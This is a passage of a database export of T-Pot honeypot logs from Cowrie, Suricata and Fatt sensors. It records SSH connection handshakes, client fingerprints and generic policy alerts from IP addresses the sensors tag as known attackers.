"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28973	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:29.060514+03	2021-09-20 14:30:03.526524+03	{"_id": "xwbxAnwBvYTbRNuEcTJ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "87e70149aef1", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:22:29.060514Z", "@timestamp": "2021-09-20T11:22:29.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28974	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:22:28.242774+03	2021-09-20 14:30:03.527523+03	{"_id": "tQbxAnwBvYTbRNuEazJk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1823, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1038043917366358, "@version": "1", "in_iface": "enp5s0", "src_port": 51481, "dest_port": 53, "timestamp": "2021-09-20T11:22:28.242774Z", "@timestamp": "2021-09-20T11:22:28.242Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28975	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:28.314607+03	2021-09-20 14:30:03.528523+03	{"_id": "tgbxAnwBvYTbRNuEbDKd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35128, "dest_port": 443, "timestamp": "2021-09-20T11:22:28.314607", "@timestamp": "2021-09-20T11:22:28.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28976	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:22:29.324929+03	2021-09-20 14:30:03.529523+03	{"_id": "wQbxAnwBvYTbRNuEbzJN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:27.796042+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2070081608820106, "payload": "AAADVAUU2L595S2zFzMjw+7YAdctVAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADn55LQkg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 30621, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:29.324929Z", "@timestamp": "2021-09-20T11:22:29.324Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T....}.-..3#.....-T....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.................."}}	1	\N	\N	alert	known attacker	\N
28977	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:29.061803+03	2021-09-20 14:30:03.531523+03	{"_id": "xAbxAnwBvYTbRNuEcDKG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 30621, "timestamp": "2021-09-20T11:22:29.061803", "@timestamp": "2021-09-20T11:22:29.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28978	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:22:29.325393+03	2021-09-20 14:30:03.532524+03	{"_id": "xgbxAnwBvYTbRNuEcTJ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "87e70149aef1", "@version": "1", "timestamp": "2021-09-20T11:22:29.325393Z", "@timestamp": "2021-09-20T11:22:29.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28979	172.217.17.196	109.199.241.180	Suricata	2021-09-20 14:22:30.293062+03	2021-09-20 14:30:03.533524+03	{"_id": "yAbxAnwBvYTbRNuEczI2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:22:19.705127+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 140}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 1694100171244135, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52216, "timestamp": "2021-09-20T11:22:30.293062Z", "@timestamp": "2021-09-20T11:22:30.293Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28986	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:22:20.514453+03	2021-09-20 14:30:03.542523+03	{"_id": "hgbxAnwBvYTbRNuETjJO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ade7b97131f6", "@version": "1", "duration": 2.906102180480957, "timestamp": "2021-09-20T11:22:20.514453Z", "@timestamp": "2021-09-20T11:22:20.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28980	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:22:20.795849+03	2021-09-20 14:30:03.534523+03	{"_id": "iQbxAnwBvYTbRNuETjJO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "36f9bfce73d7", "@version": "1", "timestamp": "2021-09-20T11:22:20.795849Z", "@timestamp": "2021-09-20T11:22:20.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28981	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:22:20.529764+03	2021-09-20 14:30:03.536524+03	{"_id": "jQbxAnwBvYTbRNuETjJO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "36f9bfce73d7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:20.529764Z", "@timestamp": "2021-09-20T11:22:20.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28982	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:22:20.795062+03	2021-09-20 14:30:03.537524+03	{"_id": "jgbxAnwBvYTbRNuEUDIJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 734567970114830, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55250, "dest_port": 22, "timestamp": "2021-09-20T11:22:20.795062Z", "@timestamp": "2021-09-20T11:22:20.795Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28983	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:20.531975+03	2021-09-20 14:30:03.538523+03	{"_id": "jwbxAnwBvYTbRNuEUTJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55250, "timestamp": "2021-09-20T11:22:20.531975", "@timestamp": "2021-09-20T11:22:20.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28984	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:22:34.74917+03	2021-09-20 14:30:03.539523+03	{"_id": "0wbxAnwBvYTbRNuEhTIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "29a73e26b508", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:22:34.749170Z", "@timestamp": "2021-09-20T11:22:34.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28985	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:22:35.030605+03	2021-09-20 14:30:03.541525+03	{"_id": "2QbxAnwBvYTbRNuEhjLB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:34.463957+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 479324507083861, "payload": "AAADzAYUM02T0qLAO2U4XhxjSk2OEgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54570, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:35.030605Z", "@timestamp": "2021-09-20T11:22:35.030Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 